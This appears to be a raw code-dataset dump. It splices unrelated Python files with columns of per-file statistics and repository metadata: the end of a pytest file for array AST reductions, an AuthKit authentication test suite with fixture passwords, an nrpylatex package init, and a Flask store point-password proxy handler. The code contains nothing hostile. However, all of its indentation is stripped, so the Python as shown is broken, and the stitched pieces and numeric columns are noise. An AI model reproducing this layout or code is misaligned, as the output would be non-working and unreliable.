ast.Node((ast.NodeSymbol.ARRAY,), (2,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.REDUCE, operation), (4, 5), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3, 4, 5), ('_a3',), ()),))))
expected_tree = ast.Node((ast.NodeSymbol.REDUCE, operation), (0,), ('_i4',), (
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a5',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (3, 4, 5), ('_a3',), ()))),))
expected_symbol_table = {
**symbol_table,
'_i4': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3, 1)),
'_a5': ast.SymbolNode(ast.NodeSymbol.ARRAY, (3,), None, (ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i4',), ()), ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i0',), ()), ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i1',), ()))),
}
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf._reduce_psi_reduce_plus_minus_times_divide)
@pytest.mark.parametrize("operation", [
ast.NodeSymbol.PLUS, ast.NodeSymbol.MINUS,
ast.NodeSymbol.DIVIDE, ast.NodeSymbol.TIMES,
])
def test_reduce_psi_plus_minus_times_divide_equal_shape(operation):
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 4)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (1, 2, ast.Node(ast.NodeSymbol.INDEX, (), ('_i0',), ()), ast.Node((ast.NodeSymbol.INDEX,), (), ('_i1',), ()))),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), None, None),
'_a4': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((operation,), (1, 2, 3, 4), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a3',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a4',), ())))))
expected_tree = ast.Node((operation,), (0,), (), (
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a3',), ()))),
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a4',), ())))))
testing.assert_transformation(tree, symbol_table, expected_tree, symbol_table, dnf._reduce_psi_plus_minus_times_divide)
@pytest.mark.parametrize("operation", [
ast.NodeSymbol.PLUS, ast.NodeSymbol.MINUS,
ast.NodeSymbol.DIVIDE, ast.NodeSymbol.TIMES,
])
def test_reduce_psi_plus_minus_times_divide_scalar(operation):
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 4)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (1, 2, ast.Node(ast.NodeSymbol.INDEX, (), ('_i0',), ()), ast.Node((ast.NodeSymbol.INDEX,), (), ('_i1',), ()))),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (), None, None),
'_a4': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((operation,), (1, 2, 3, 4), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (), ('_a3',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a4',), ())))))
expected_tree = ast.Node((operation,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (), ('_a3',), ()),
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a4',), ())))))
testing.assert_transformation(tree, symbol_table, expected_tree, symbol_table, dnf._reduce_psi_plus_minus_times_divide)
# @pytest.mark.parametrize("operation", [
# ast.NodeSymbol.PLUS, ast.NodeSymbol.MINUS,
# ast.NodeSymbol.DIVIDE, ast.NodeSymbol.TIMES,
# ])
# def test_reduce_psi_plus_minus_times_divide_scalar(operation):
# symbol_table = {
# '_i0': SymbolNode(ast.NodeSymbol.INDEX, (), (0, 3)),
# '_i1': SymbolNode(ast.NodeSymbol.INDEX, (), (0, 4)),
# '_a2': SymbolNode(ast.NodeSymbol.ARRAY, (4,), (1, 2, '_i0', '_i1')),
# '_a3': SymbolNode(ast.NodeSymbol.ARRAY, (), None),
# '_a4': SymbolNode(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), None),
# }
# symbol_table_copy = copy.deepcopy(symbol_table)
# tree = Node(ast.NodeSymbol.PSI, (0,),
# Node(ast.NodeSymbol.ARRAY, (4,), '_a2'),
# Node(operation, (1, 2, 3, 4),
# Node(ast.NodeSymbol.ARRAY, (), '_a3'),
# Node(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), '_a4')))
# expected_tree = Node(operation, (0,),
# Node(ast.NodeSymbol.ARRAY, (), '_a3'),
# Node(ast.NodeSymbol.PSI, (0,),
# Node(ast.NodeSymbol.ARRAY, (4,), '_a2'),
# Node(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), '_a4')))
# new_symbol_table, new_tree = _reduce_psi_plus_minus_times_divide(symbol_table, tree)
# assert symbol_table_copy == symbol_table
# assert new_tree == expected_tree
# assert new_symbol_table == symbol_table
| 51.084699
| 225
| 0.569022
| 2,302
| 18,697
| 4.446134
| 0.031712
| 0.320078
| 0.217587
| 0.240352
| 0.947924
| 0.927992
| 0.906888
| 0.872203
| 0.811041
| 0.76893
| 0
| 0.035363
| 0.190833
| 18,697
| 365
| 226
| 51.224658
| 0.641153
| 0.075467
| 0
| 0.519713
| 0
| 0
| 0.026944
| 0
| 0
| 0
| 0
| 0
| 0.050179
| 1
| 0.050179
| false
| 0
| 0.010753
| 0
| 0.060932
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
ebd13f5efa5e097c8e4bad3c9c553b970b0d32d4
| 23,619
|
py
|
Python
|
test/test.py
|
bobrock/AuthKit
|
ba82501d9dff699be9eef33266aecd03d016cec2
|
[
"MIT"
] | null | null | null |
test/test.py
|
bobrock/AuthKit
|
ba82501d9dff699be9eef33266aecd03d016cec2
|
[
"MIT"
] | null | null | null |
test/test.py
|
bobrock/AuthKit
|
ba82501d9dff699be9eef33266aecd03d016cec2
|
[
"MIT"
] | 1
|
2020-06-24T19:20:13.000Z
|
2020-06-24T19:20:13.000Z
|
"""
Very basic tests which so no more than check each of the authentication
methods to ensure that an unprotected page is accessible and that a
protected page triggers the a sign in.
Note: Should the Form and Forward methods return 401 or 200 when they
generate an HTML page for the user to sign in?
"""
import sys
import os
import paste.lint
from authkit.authenticate import middleware, sample_app
from paste.fixture import *
sys.path.insert(0, os.getcwd()+'/examples/docs')
from form import app as form_app
from basic import app as basic_app
from digest import app as digest_app
from forward import app as forward_app
from open_id import app as openid_app
from redirect import app as redirect_app
# Add the paste validation middleware
form_app = paste.lint.middleware(form_app)
basic_app = paste.lint.middleware(basic_app)
digest_app = paste.lint.middleware(digest_app)
forward_app = paste.lint.middleware(forward_app)
openid_app = paste.lint.middleware(openid_app)
redirect_app = paste.lint.middleware(redirect_app)
sys.path.insert(0, os.getcwd()+'/examples/config')
from digest import app as config_app
def assertEqual(a,b):
if a != b:
raise AssertionError('%s != %s'%(a,b))
def assertAllEqual(*args):
if not len(args)>2:
raise Exception("Need two arguments")
a = args[0]
for b in args[1:]:
if a != b:
raise AssertionError('%s != %s'%(a,b))
apps = [
form_app,
basic_app,
digest_app,
forward_app,
openid_app,
redirect_app,
config_app,
]
def test_ok():
for app in apps:
if app == forward_app:
res = TestApp(app).get('')
assertEqual(res.header('content-type'), 'text/plain')
assertEqual(res.full_status, '200 OK')
assert 'You Have Access To This Page.' in res
else:
res = TestApp(app).get('')
assertEqual(res.header('content-type'), 'text/plain; charset=UTF-8')
assertEqual(res.full_status, '200 OK')
assert 'You Have Access To This Page.' in res
def test_intercept():
# XXX Note, these tests don't test when the inclusion of a username and only test form
# should also test all the other methods too for correct behaviour
def sample_app(environ, start_response):
if environ.get('PATH_INFO') == '/403':
start_response('403 Forbidden', [('Content-type', 'text/plain')])
return ['Access denied']
elif environ.get('PATH_INFO') == '/401':
start_response('401 Unauth', [('Content-type', 'text/plain')])
return ['Not Authed']
elif environ.get('PATH_INFO') == '/702':
start_response('702 Doesnt exist', [('Content-type', 'text/plain')])
return ['Access denied']
elif environ.get('PATH_INFO') == '/500':
start_response('500 Error', [('Content-type', 'text/plain')])
return ['Error']
app = middleware(
sample_app,
setup_method='digest',
digest_realm='test',
digest_authenticate_user_data = """
Username1:password1
username2:password2
""",
cookie_signoutpath = '/signout',
setup_intercept = "403, 702",
)
res = TestApp(app).get('/403', status=401)
assertEqual(res.header('content-type'), 'text/plain; charset=utf8')
# XXX Should this keep the original status code or not?
assertEqual(res.full_status, '401 Unauthorized')
assert 'This server could not verify that you are authorized' in res
res = TestApp(app).get('/702', status=401)
assertEqual(res.header('content-type'), 'text/plain; charset=utf8')
# XXX Should this keep the original status code or not?
assertEqual(res.full_status, '401 Unauthorized')
assert 'This server could not verify that you are authorized' in res
res = TestApp(app).get('/500', status=500)
assertEqual(res.header('content-type'), 'text/plain')
assertEqual(res.full_status, '500 Error')
assert 'Error' in res
res = TestApp(app).get('/401', status=401)
assertEqual(res.header('content-type'), 'text/plain')
assertEqual(res.full_status, '401 Unauth')
assert 'Not Authed' in res
def test_fail():
for app in [basic_app, digest_app, config_app]:
res = TestApp(app).get('/private', status=401)
assertEqual(res.header('content-type'),'text/plain; charset=utf8')
assertEqual(res.full_status, '401 Unauthorized')
#raise Exception(res)
assert 'This server could not verify that you are' in res
def test_form_fail():
res = TestApp(form_app).get('/private', status=200)
assertEqual(res.header('content-type'),'text/html; charset=UTF-8')
assertEqual(res.full_status, '200 OK')
assert 'Please Sign In' in res
def test_forward_fail():
res = TestApp(forward_app).get('/private')
assertEqual(res.header('content-type'),'text/html')
# XXX Not sure about this but using a 401 triggers an infinite loop
# of redirects.
assertEqual(res.full_status, '200 Sign in required')
assert 'Please Sign In' in res
def test_openid_fail():
res = TestApp(openid_app).get('/private')
assertEqual(res.header('content-type'),'text/html; charset=UTF-8')
assertEqual(res.full_status, '200 OK')
assert 'Please Sign In' in res
def test_redirect_fail():
res = TestApp(redirect_app).get('/private', status=302)
assertEqual(res.header('Location'),'http://3aims.com')
assertEqual(res.full_status, '302 Found')
def test_users_api_database():
try:
from authkit.users.sqlalchemy_04_driver import UsersFromDatabase, setup_model
except ImportError:
raise Exception("Could not run the SQLAlchemy tests, not installed")
try:
from sqlalchemymanager import SQLAlchemyManager
except ImportError:
raise Exception("Could not run the SQLAlchemy tests, SQLAlchemyManager is not installed")
if os.path.exists("mydb.db"):
os.remove("mydb.db")
app = SQLAlchemyManager(
None,
{'sqlalchemy.url':'sqlite:///mydb.db'},
[setup_model]
)
app.create_all()
connection = app.engine.connect()
session = app.session_maker(bind=connection)
try:
environ = {}
environ['sqlalchemy.session'] = session
environ['sqlalchemy.model'] = app.model
d = UsersFromDatabase(environ)
d.role_create("wiki")
d.role_create("adMin")
d.role_create("editor")
d.group_create("pyLOns")
d.group_create("dJAngo")
d.user_create("jaMEs", "passWOrd1", "pyLoNs")
d.user_create("ben", "password2")
d.user_create("Simon", "password3")
d.user_create("ian", "paSsword4")
assertEqual(d.list_roles(),["admin", "editor", "wiki"])
assertEqual(d.list_groups(),["django", "pylons"])
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon'])
assertEqual(d.user_has_password("james", "passWOrd1"), True)
assertEqual(d.user_has_password("james", "password1"), False)
d.role_create("test_role")
d.group_create("test_group")
d.user_create("test_user", "password")
assertEqual(d.list_roles(),["admin", "editor", "test_role", "wiki"])
assertEqual(d.list_groups(),["django", "pylons", "test_group"])
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon', "test_user"])
d.role_delete("test_role")
d.group_delete("test_group")
d.user_delete("test_user")
assertEqual(d.list_roles(),["admin", "editor", "wiki"])
assertEqual(d.list_groups(),["django", "pylons"])
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon'])
assertEqual(d.user_has_role("james", "admin"), False)
d.user_add_role("james", "admin")
assertEqual(d.user_has_role("james", "admin"), True)
d.user_remove_role("james", "admin")
assertEqual(d.user_has_role("james", "admin"), False)
d.user_add_role("james", "wiki")
d.user_add_role("simon", "wiki")
d.user_add_role("james", "admin")
#d.user_add_role("james", "editor")
d.user_add_role("ben", "editor")
assertEqual(d.user_has_group("james", "pylons"), True)
assertEqual(d.user_has_group("simon", None), True)
assertEqual(d.user_has_group("simon", "django"), False)
d.user_set_group("simon", "dJangO")
assertEqual(d.user_has_group("simon", None), False)
d.user_set_group("bEn", "PyLONS")
assertEqual(d.user_has_group("simon", "django"), True)
assertEqual(d.user_has_group("bEn", "pYlons"), True)
d.user_remove_group("bEn")
assertEqual(d.user_has_group("bEn", "pYlons"), False)
d.user_set_group("bEn", "PyLONS")
assertEqual(d.user_has_group("bEn", "pYlons"), True)
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon'])
d.user_set_username("james", "jim")
assertEqual(d.list_users(),['ben', 'ian', 'jim', 'simon'])
d.user_set_username("jim", "james")
from authkit.users import UsersFromFile, UsersFromString, AuthKitNoSuchUserError, AuthKitNoSuchGroupError,AuthKitNoSuchRoleError
string_data = """jaMEs:passWOrd1:pyLOns wiki adMin
ben:password2:pylons admin editor
simon:password3:dJAngo
ian:paSsword4 wiki
"""
filename = 'test/user_file_data.txt'
s = UsersFromString(string_data)
f = UsersFromFile(filename)
# Test Parsing
assertAllEqual(
s.passwords,
f.passwords,
{
'james':'passWOrd1',
'ben':'password2',
'simon':'password3',
'ian':'paSsword4',
},
)
assertAllEqual(
s.roles,
f.roles,
{
'james':['admin', 'wiki'],
'ben':['admin','editor'],
'ian':['wiki'],
'simon':[],
},
)
assertAllEqual(
s.groups,
f.groups,
{
'james':'pylons',
'ben':'pylons',
'ian': None,
'simon':'django',
},
)
assertAllEqual(
s.usernames,
f.usernames,
['ben', 'ian', 'james', 'simon'],
)
# Test list functions
assertAllEqual(
s.list_users(),
f.list_users(),
d.list_users(),
['ben', 'ian', 'james', 'simon'],
)
assertAllEqual(
s.list_roles(),
f.list_roles(),
d.list_roles(),
['admin', 'editor', 'wiki'],
)
assertAllEqual(
s.list_groups(),
f.list_groups(),
d.list_groups(),
['django','pylons'],
)
# Test user has functions
assertAllEqual(
s.user_has_role('jAMes','WiKi'),
f.user_has_role('jAMes','WiKi'),
d.user_has_role('jAMes','WiKi'),
True
)
assertAllEqual(
s.user_has_role('jAMes','editOr'),
f.user_has_role('jAMes','editOr'),
d.user_has_role('jAMes','editOr'),
False
)
assertAllEqual(
s.user_has_group('jAMeS','PyLons'),
f.user_has_group('jAMes','pylOns'),
d.user_has_group('jAMes','pylOns'),
True
)
assertAllEqual(
s.user_has_group('jameS','djaNgo'),
f.user_has_group('JAMes','djAngo'),
d.user_has_group('JAMes','djAngo'),
False
)
assertAllEqual(
s.user_has_password('jAMeS','passWOrd1'),
f.user_has_password('jAMes','passWOrd1'),
d.user_has_password('jAMes','passWOrd1'),
True
)
assertAllEqual(
s.user_has_password('jameS','PASSWORD1'),
f.user_has_password('JAMes','PASSWORD1'),
d.user_has_password('JAMes','PASSWORD1'),
False
)
# Existence Methods
assertAllEqual(
s.user_exists('jAMeS'),
f.user_exists('jAMes'),
d.user_exists('jAMes'),
True
)
assertAllEqual(
s.user_exists('nobody'),
f.user_exists('nobody'),
d.user_exists('nobody'),
False
)
# Existence Methods
assertAllEqual(
s.role_exists('wiKi'),
f.role_exists('Wiki'),
d.role_exists('Wiki'),
True
)
assertAllEqual(
s.role_exists('norole'),
f.role_exists('norole'),
d.role_exists('norole'),
False
)
assertAllEqual(
s.group_exists('pyLons'),
f.group_exists('PYlons'),
d.group_exists('PYlons'),
True
)
assertAllEqual(
s.group_exists('nogroup'),
f.group_exists('nogroup'),
d.group_exists('nogroup'),
False
)
# User Methods
assertAllEqual(
s.user('James'),
f.user('James'),
d.user('James'),
{
'username': 'james',
'group': 'pylons',
'password': 'passWOrd1',
'roles': ['admin','wiki'],
}
)
# Test all user methods raise:
for plugin in [s,f,d]:
for func in [
'user',
'user_roles',
'user_group',
'user_password',
]:
try:
getattr(plugin, func)('nouser')
except AuthKitNoSuchUserError, e:
pass
else:
raise AssertionError("Failed to throw a no user error")
for plugin in [s,f,d]:
for func in [
'user_has_password',
'user_has_role',
'user_has_group',
]:
try:
getattr(plugin, func)('nouser','somevar')
except AuthKitNoSuchUserError, e:
pass
else:
raise AssertionError("Failed to throw a no user error")
assertAllEqual(
s.user_roles('James'),
f.user_roles('James'),
d.user_roles('James'),
['admin','wiki']
)
assertAllEqual(
s.user_group('James'),
f.user_group('James'),
d.user_group('James'),
'pylons'
)
assertAllEqual(
s.user_password('James'),
f.user_password('James'),
d.user_password('James'),
'passWOrd1'
)
session.flush()
session.commit()
finally:
session.close()
connection.close()
def test_users_model_api_database():
sys.path.insert(0, os.getcwd()+'/examples/user/database-model')
try:
from authkit.users.sqlalchemy_driver import UsersFromDatabase
except ImportError:
raise Exception("Could not run the SQLAlchemy tests, not installed")
if os.path.exists("test.db"):
os.remove("test.db")
import model as test_model
# Setup SQLAlchemy database engine
from sqlalchemy import engine_from_config
engine = engine_from_config({'sqlalchemy.url':'sqlite:///test.db'}, 'sqlalchemy.')
test_model.init_model(engine)
test_model.engine = engine
d = UsersFromDatabase(test_model)
test_model.meta.metadata.create_all(test_model.engine)
d.role_create("wiki")
d.role_create("adMin")
d.role_create("editor")
d.group_create("pyLOns")
d.group_create("dJAngo")
d.user_create("jaMEs", "passWOrd1", "pyLoNs")
d.user_create("ben", "password2")
d.user_create("Simon", "password3")
d.user_create("ian", "paSsword4")
assertEqual(d.list_roles(),["admin", "editor", "wiki"])
assertEqual(d.list_groups(),["django", "pylons"])
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon'])
assertEqual(d.user_has_password("james", "passWOrd1"), True)
assertEqual(d.user_has_password("james", "password1"), False)
d.role_create("test_role")
d.group_create("test_group")
d.user_create("test_user", "password")
assertEqual(d.list_roles(),["admin", "editor", "test_role", "wiki"])
assertEqual(d.list_groups(),["django", "pylons", "test_group"])
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon', "test_user"])
d.role_delete("test_role")
d.group_delete("test_group")
d.user_delete("test_user")
assertEqual(d.list_roles(),["admin", "editor", "wiki"])
assertEqual(d.list_groups(),["django", "pylons"])
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon'])
assertEqual(d.user_has_role("james", "admin"), False)
d.user_add_role("james", "admin")
assertEqual(d.user_has_role("james", "admin"), True)
d.user_remove_role("james", "admin")
assertEqual(d.user_has_role("james", "admin"), False)
d.user_add_role("james", "wiki")
d.user_add_role("simon", "wiki")
d.user_add_role("james", "admin")
#d.user_add_role("james", "editor")
d.user_add_role("ben", "editor")
assertEqual(d.user_has_group("james", "pylons"), True)
assertEqual(d.user_has_group("simon", None), True)
assertEqual(d.user_has_group("simon", "django"), False)
d.user_set_group("simon", "dJangO")
assertEqual(d.user_has_group("simon", None), False)
d.user_set_group("bEn", "PyLONS")
assertEqual(d.user_has_group("simon", "django"), True)
assertEqual(d.user_has_group("bEn", "pYlons"), True)
d.user_remove_group("bEn")
assertEqual(d.user_has_group("bEn", "pYlons"), False)
d.user_set_group("bEn", "PyLONS")
assertEqual(d.user_has_group("bEn", "pYlons"), True)
assertEqual(d.list_users(),['ben', 'ian', 'james', 'simon'])
d.user_set_username("james", "jim")
assertEqual(d.list_users(),['ben', 'ian', 'jim', 'simon'])
d.user_set_username("jim", "james")
from authkit.users import UsersFromFile, UsersFromString, AuthKitNoSuchUserError, AuthKitNoSuchGroupError,AuthKitNoSuchRoleError
string_data = """jaMEs:passWOrd1:pyLOns wiki adMin
ben:password2:pylons admin editor
simon:password3:dJAngo
ian:paSsword4 wiki
"""
filename = 'test/user_file_data.txt'
s = UsersFromString(string_data)
f = UsersFromFile(filename)
# Test Parsing
assertAllEqual(
s.passwords,
f.passwords,
{
'james':'passWOrd1',
'ben':'password2',
'simon':'password3',
'ian':'paSsword4',
},
)
assertAllEqual(
s.roles,
f.roles,
{
'james':['admin', 'wiki'],
'ben':['admin','editor'],
'ian':['wiki'],
'simon':[],
},
)
assertAllEqual(
s.groups,
f.groups,
{
'james':'pylons',
'ben':'pylons',
'ian': None,
'simon':'django',
},
)
assertAllEqual(
s.usernames,
f.usernames,
['ben', 'ian', 'james', 'simon'],
)
# Test list functions
assertAllEqual(
s.list_users(),
f.list_users(),
d.list_users(),
['ben', 'ian', 'james', 'simon'],
)
assertAllEqual(
s.list_roles(),
f.list_roles(),
d.list_roles(),
['admin', 'editor', 'wiki'],
)
assertAllEqual(
s.list_groups(),
f.list_groups(),
d.list_groups(),
['django','pylons'],
)
# Test user has functions
assertAllEqual(
s.user_has_role('jAMes','WiKi'),
f.user_has_role('jAMes','WiKi'),
d.user_has_role('jAMes','WiKi'),
True
)
assertAllEqual(
s.user_has_role('jAMes','editOr'),
f.user_has_role('jAMes','editOr'),
d.user_has_role('jAMes','editOr'),
False
)
assertAllEqual(
s.user_has_group('jAMeS','PyLons'),
f.user_has_group('jAMes','pylOns'),
d.user_has_group('jAMes','pylOns'),
True
)
assertAllEqual(
s.user_has_group('jameS','djaNgo'),
f.user_has_group('JAMes','djAngo'),
d.user_has_group('JAMes','djAngo'),
False
)
assertAllEqual(
s.user_has_password('jAMeS','passWOrd1'),
f.user_has_password('jAMes','passWOrd1'),
d.user_has_password('jAMes','passWOrd1'),
True
)
assertAllEqual(
s.user_has_password('jameS','PASSWORD1'),
f.user_has_password('JAMes','PASSWORD1'),
d.user_has_password('JAMes','PASSWORD1'),
False
)
# Existence Methods
assertAllEqual(
s.user_exists('jAMeS'),
f.user_exists('jAMes'),
d.user_exists('jAMes'),
True
)
assertAllEqual(
s.user_exists('nobody'),
f.user_exists('nobody'),
d.user_exists('nobody'),
False
)
# Existence Methods
assertAllEqual(
s.role_exists('wiKi'),
f.role_exists('Wiki'),
d.role_exists('Wiki'),
True
)
assertAllEqual(
s.role_exists('norole'),
f.role_exists('norole'),
d.role_exists('norole'),
False
)
assertAllEqual(
s.group_exists('pyLons'),
f.group_exists('PYlons'),
d.group_exists('PYlons'),
True
)
assertAllEqual(
s.group_exists('nogroup'),
f.group_exists('nogroup'),
d.group_exists('nogroup'),
False
)
# User Methods
assertAllEqual(
s.user('James'),
f.user('James'),
d.user('James'),
{
'username': 'james',
'group': 'pylons',
'password': 'passWOrd1',
'roles': ['admin','wiki'],
}
)
# Test all user methods raise:
for plugin in [s,f,d]:
for func in [
'user',
'user_roles',
'user_group',
'user_password',
]:
try:
getattr(plugin, func)('nouser')
except AuthKitNoSuchUserError, e:
pass
else:
raise AssertionError("Failed to throw a no user error")
for plugin in [s,f,d]:
for func in [
'user_has_password',
'user_has_role',
'user_has_group',
]:
try:
getattr(plugin, func)('nouser','somevar')
except AuthKitNoSuchUserError, e:
pass
else:
raise AssertionError("Failed to throw a no user error")
assertAllEqual(
s.user_roles('James'),
f.user_roles('James'),
d.user_roles('James'),
['admin','wiki']
)
assertAllEqual(
s.user_group('James'),
f.user_group('James'),
d.user_group('James'),
'pylons'
)
assertAllEqual(
s.user_password('James'),
f.user_password('James'),
d.user_password('James'),
'passWOrd1'
)
| 31.660858
| 136
| 0.558618
| 2,609
| 23,619
| 4.886163
| 0.100038
| 0.034515
| 0.023847
| 0.038751
| 0.788594
| 0.770866
| 0.763022
| 0.755962
| 0.753608
| 0.745529
| 0
| 0.010143
| 0.298743
| 23,619
| 745
| 137
| 31.703356
| 0.759524
| 0.032347
| 0
| 0.713615
| 0
| 0
| 0.201385
| 0.007237
| 0
| 0
| 0
| 0
| 0.209703
| 0
| null | null | 0.103286
| 0.034429
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
cced6cec9f9a4992fd997a43e7cd51b28fdc9a95
| 200
|
py
|
Python
|
nrpylatex/__init__.py
|
zachetienne/nrpylatex
|
e2b17ad398199e24f3dbcab6eb2f5020d27ab6c8
|
[
"BSD-2-Clause"
] | 4
|
2021-04-12T01:59:01.000Z
|
2021-11-18T00:00:59.000Z
|
nrpylatex/__init__.py
|
zachetienne/nrpylatex
|
e2b17ad398199e24f3dbcab6eb2f5020d27ab6c8
|
[
"BSD-2-Clause"
] | null | null | null |
nrpylatex/__init__.py
|
zachetienne/nrpylatex
|
e2b17ad398199e24f3dbcab6eb2f5020d27ab6c8
|
[
"BSD-2-Clause"
] | 1
|
2022-02-22T23:53:37.000Z
|
2022-02-22T23:53:37.000Z
|
from nrpylatex.parse_latex import Lexer, Parser, Tensor
from nrpylatex.parse_latex import ParseError, TensorError, OverrideWarning
from nrpylatex.parse_latex import parse_latex
__version__ = "1.0.8"
| 33.333333
| 74
| 0.84
| 27
| 200
| 5.925926
| 0.555556
| 0.25
| 0.3375
| 0.43125
| 0.54375
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016667
| 0.1
| 200
| 5
| 75
| 40
| 0.872222
| 0
| 0
| 0
| 0
| 0
| 0.025
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
69270b37147f51ded1d6a37aa282ff3997cb5269
| 1,892
|
py
|
Python
|
apigateway/apps/store_point_password_handle.py
|
cnds/wxdemo
|
a445ea19ccd0b47caf6ea94e1ddec2ce3faf7d5e
|
[
"MIT"
] | null | null | null |
apigateway/apps/store_point_password_handle.py
|
cnds/wxdemo
|
a445ea19ccd0b47caf6ea94e1ddec2ce3faf7d5e
|
[
"MIT"
] | null | null | null |
apigateway/apps/store_point_password_handle.py
|
cnds/wxdemo
|
a445ea19ccd0b47caf6ea94e1ddec2ce3faf7d5e
|
[
"MIT"
] | null | null | null |
import requests
from flask import jsonify, request
from .base import BaseHandler
from .json_validate import SCHEMA
class StorePointPassword(BaseHandler):
def get(self, store_id):
api_resp = requests.get(
'{0}/accounts/stores/{1}/point-password'.format(
self.endpoint['accounts'], store_id))
resp_status = api_resp.status_code
if resp_status != 200 and resp_status != 400:
self.logger.error('request account service failed')
return '', 500
return jsonify(api_resp.json()), resp_status
def post(self, store_id):
is_valid, data = self.get_params_from_request(
request, SCHEMA['store_point_password_post'])
if not is_valid:
return self.error_msg(self.ERR['invalid_body_content'], data)
api_resp = requests.post(
'{0}/accounts/stores/{1}/point-password'.format(
self.endpoint['accounts'], store_id),
json=data)
resp_status = api_resp.status_code
if resp_status != 201 and resp_status != 400:
self.logger.error('request accounts service failed')
return '', 500
return jsonify(api_resp.json()), resp_status
def put(self, store_id):
is_valid, data = self.get_params_from_request(
request, SCHEMA['store_point_password_put'])
if not is_valid:
return self.error_msg(self.ERR['invalid_body_content'], data)
api_resp = requests.put(
'{0}/accounts/stores/{1}/point-password'.format(
self.endpoint['accounts'], store_id),
json=data)
resp_status = api_resp.status_code
if resp_status != 200 and resp_status != 400:
self.logger.error('request accounts service failed')
return '', 500
return jsonify(api_resp.json()), resp_status
| 35.037037
| 73
| 0.623679
| 232
| 1,892
| 4.857759
| 0.232759
| 0.133097
| 0.029281
| 0.042591
| 0.826087
| 0.826087
| 0.826087
| 0.826087
| 0.826087
| 0.826087
| 0
| 0.023913
| 0.270613
| 1,892
| 53
| 74
| 35.698113
| 0.792754
| 0
| 0
| 0.619048
| 0
| 0
| 0.168605
| 0.086152
| 0
| 0
| 0
| 0
| 0
| 1
| 0.071429
| false
| 0.142857
| 0.095238
| 0
| 0.380952
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
694ef006c46841fcba7f8f446b98a4044b994e22
| 6,996
|
py
|
Python
|
